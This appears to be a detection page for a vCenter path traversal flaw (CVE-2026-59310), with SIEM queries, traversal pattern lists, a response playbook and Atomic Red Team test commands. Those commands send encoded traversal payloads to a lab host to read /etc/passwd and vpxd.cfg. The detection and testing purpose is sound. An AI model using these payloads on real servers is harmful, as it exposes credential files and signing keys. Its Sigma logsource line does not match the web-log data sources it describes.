Broadcom VMware vCenter Path Traversal (CVE-2026-59310)
Detects exploitation of CVE-2026-59310, a path traversal (CWE-22) vulnerability in Broadcom VMware vCenter Server that allows unauthenticated attackers to read arbitrary files outside the intended web root by supplying crafted traversal sequences (../, encoded variants, or absolute path smuggling) in HTTP request paths and parameters. Added to the CISA KEV catalog on 2026-08-18 with active in-the-wild exploitation attributed to a suspected China-nexus actor. Detection focuses on traversal patterns in vCenter/vSphere Client HTTP requests, unexpected access to sensitive files (e.g. /etc/passwd, vpxd.cfg, SSO/STS signing keys), and anomalous file reads by the vCenter web/appliance service accounts.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Broadcom
- Product
- VMware vCenter
Weakness (CWE)
Timeline
- Disclosed
- August 18, 2026
References & Proof of Concept
- https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-59310
- https://thehackernews.com/2026/08/suspected-china-nexus-actor-exploits.html
- https://thehackernews.com/2026/08/attackers-exploit-vmware-vcenter.html
CVSS
What is CVE-2026-59310 Broadcom VMware vCenter Path Traversal (CVE-2026-59310)?
Broadcom VMware vCenter Path Traversal (CVE-2026-59310) (CVE-2026-59310) maps to the Initial Access and Credential Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Broadcom VMware vCenter Path Traversal (CVE-2026-59310), covering the data sources and telemetry it touches: IIS/Reverse Proxy Web Logs, vCenter Appliance HTTP Access Logs, Web Application Firewall. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let traversalPatterns = dynamic(["../", "..%2f", "..%2F", "%2e%2e%2f", "%2e%2e/", "..\\", "..%5c", "%252e%252e", "....//", "/etc/passwd", "vpxd.cfg", "data/vsphere-ui", "sms/security", "sso/"]);
let vcenterHosts = dynamic([]);
W3CIISLog
| where csUriStem has_any ("/ui/", "/sdk", "/vsphere-client", "/analytics", "/websso", "/eam", "/sms")
| extend fullUri = strcat(csUriStem, "?", coalesce(csUriQuery, ""))
| where fullUri has_any (traversalPatterns)
| where scStatus in ("200", "206", "301", "302")
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, csUserAgent, sSiteName, Computer
| sort by TimeGenerated desc Flags HTTP requests to VMware vCenter/vSphere Client web endpoints containing directory traversal sequences (raw, URL-encoded, double-encoded, or backslash variants) that return successful status codes, indicating arbitrary file read via CVE-2026-59310.
Data Sources
Required Tables
False Positives
- Legitimate vulnerability scanners (Nessus, Qualys, Rapid7) probing vCenter endpoints during authorized scans
- Security researchers or internal red-team testing traversal payloads against staging vCenter instances
- Malformed but benign client requests where encoded characters coincidentally resemble traversal tokens
Sigma rule & cross-platform mapping
The detection logic for Broadcom VMware vCenter Path Traversal (CVE-2026-59310) (CVE-2026-59310) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-59310
References (5)
- https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
- https://nvd.nist.gov/vuln/detail/CVE-2026-59310
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://thehackernews.com/2026/08/suspected-china-nexus-actor-exploits.html
- https://thehackernews.com/2026/08/attackers-exploit-vmware-vcenter.html
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vCenter path traversal probe against SDK endpoint
Expected signal: Web/proxy and vCenter access logs record a request to /sdk or /ui containing ../ or %2e%2e traversal tokens with the atomic-test-59310 User-Agent.
- Test 2Double-encoded traversal against websso endpoint
Expected signal: Access logs show a /websso request containing %252e%252e double-encoded traversal tokens.
- Test 3Windows PowerShell traversal request to vSphere Client
Expected signal: IIS W3C logs record a /vsphere-client request containing ..%5c backslash traversal tokens targeting vpxd.cfg.
Response Playbook
Triage
- Confirm the target vCenter appliance version against Broadcom advisory 38017 and determine whether the CVE-2026-59310 patch is applied; unpatched + successful traversal response = high-confidence compromise.
- Extract the source IP(s) from the alert and check reputation/geolocation; correlate against the suspected China-nexus indicators referenced in the KEV/news reporting and internal threat intel.
- Identify exactly which file(s) the traversal targeted (e.g. /etc/passwd, vpxd.cfg, SSO STS signing certificate/key, ldap credentials) by decoding the request URL, and assess the sensitivity of what was potentially exfiltrated.
- Review whether the same source IP made follow-on authenticated requests or SSO token activity, which would indicate the leaked material was used for privilege escalation.
Containment
- Block the offending source IP(s) at the perimeter/WAF and restrict vCenter management-plane access (443) to a trusted admin network or jump host only.
- Apply the Broadcom fixed build for CVE-2026-59310 or, if patching must be delayed, deploy the vendor workaround / WAF rule blocking traversal sequences to the vCenter endpoints.
- If SSO/STS signing keys or vpxd credentials may have been read, rotate the affected certificates, SSO IdP signing keys, and vCenter/ESXi service-account credentials immediately.
Evidence Collection
- Preserve vCenter appliance HTTP access logs (/var/log/vmware/*, /storage/log), vpxd logs, and the reverse-proxy/IIS logs covering the exploitation window before rotation or reimage.
- Capture the full raw request/response for each traversal hit (URL, headers, User-Agent, response size/status) and snapshot the appliance filesystem for forensic timeline analysis.
Escalation Criteria
- ! Escalate to incident response and management if any traversal request returned HTTP 200/206 for a sensitive file (SSO keys, vpxd.cfg, /etc/shadow), indicating successful data exposure.
- ! Escalate to threat-intel/CISO track if follow-on activity (new admin sessions, SSO token forgery, lateral movement to ESXi hosts) is observed, as this indicates progression beyond initial file read.
Investigation Guide
Forensic Artifacts
- >
vCenter appliance HTTP access logs under /var/log/vmware/ and /storage/log showing traversal URLs with 200 responses - >
vpxd.log and websso/STS logs showing anomalous file access or token activity - >
Reverse-proxy/IIS W3C logs recording the source IP, User-Agent and requested traversal path - >
Filesystem access timestamps (atime/mtime) on sensitive files such as vpxd.cfg and SSO signing certificates
Tuning Guidance
Baseline authorized vulnerability scanners and internal pentest source ranges and exclude them by src_ip to cut the dominant false-positive class. If your reverse proxy already normalizes/blocks traversal, focus the rule on successful (200/206) responses only to raise fidelity. Add your organization's vCenter hostnames/IPs to the endpoint filter to avoid matching unrelated web apps, and periodically refresh the encoded-traversal token list as new evasion variants appear.
Hunting Queries
Hunt across web/proxy logs for any decoded traversal attempts against vCenter endpoints, grouping by source IP and User-Agent to surface both successful and probing activity.
W3CIISLog | where csUriStem has_any ("/ui/","/sdk","/websso") | extend u = strcat(csUriStem, csUriQuery) | where u matches regex @"(?i)(\.\.[/\\]|%2e%2e|%2f|etc/passwd|vpxd\.cfg)" | summarize hits=count(), files=make_set(csUriStem) by cIP, csUserAgent | where hits > 0 index=web (uri="*vsphere*" OR uri="*/websso*" OR uri="*/sdk*") | eval d=urldecode(uri) | regex d="(?i)(\.\./|etc/passwd|vpxd\.cfg|%2e%2e)" | stats count values(d) as decoded_uris by src_ip http_user_agent Atomic Red Team Tests
Sends a crafted HTTP request with URL-encoded traversal sequences to a vCenter endpoint to simulate CVE-2026-59310 arbitrary file read of /etc/passwd.
Command
curl -sk 'https://vcenter.lab.local/sdk/../../../../../../etc/passwd' -H 'User-Agent: atomic-test-59310' -o /tmp/atomic_59310_out.txt; curl -sk 'https://vcenter.lab.local/ui/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' -H 'User-Agent: atomic-test-59310' Cleanup
rm -f /tmp/atomic_59310_out.txt Expected Telemetry
Web/proxy and vCenter access logs record a request to /sdk or /ui containing ../ or %2e%2e traversal tokens with the atomic-test-59310 User-Agent.
Expected Detection
KQL/SPL rules fire on the traversal pattern + vCenter endpoint match, flagging the source IP.
Simulates evasion using double URL-encoding of traversal sequences targeting the SSO/websso service to read sensitive config.
Command
curl -sk 'https://vcenter.lab.local/websso/%252e%252e%252f%252e%252e%252fetc%252fpasswd' -H 'User-Agent: atomic-test-59310-dbl' Cleanup
true Expected Telemetry
Access logs show a /websso request containing %252e%252e double-encoded traversal tokens.
Expected Detection
Detection matches double-encoded %252e%252e variants; if a normalizing proxy is present it may already decode to single-encoded form.
Uses PowerShell Invoke-WebRequest to send a backslash-style traversal payload against a Windows-hosted vCenter/vSphere Client to simulate CVE-2026-59310.
Command
powershell -Command "[Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; Invoke-WebRequest -Uri 'https://vcenter.lab.local/vsphere-client/..%5c..%5c..%5cProgramData%5cVMware%5cvCenterServer%5ccfg%5cvmware-vpx%5cvpxd.cfg' -Headers @{'User-Agent'='atomic-test-59310-win'} -UseBasicParsing -OutFile C:\Windows\Temp\atomic59310.txt" Cleanup
powershell -Command "Remove-Item -Force C:\Windows\Temp\atomic59310.txt -ErrorAction SilentlyContinue" Expected Telemetry
IIS W3C logs record a /vsphere-client request containing ..%5c backslash traversal tokens targeting vpxd.cfg.
Expected Detection
Detection matches ..%5c backslash-encoded traversal variants against vCenter endpoints.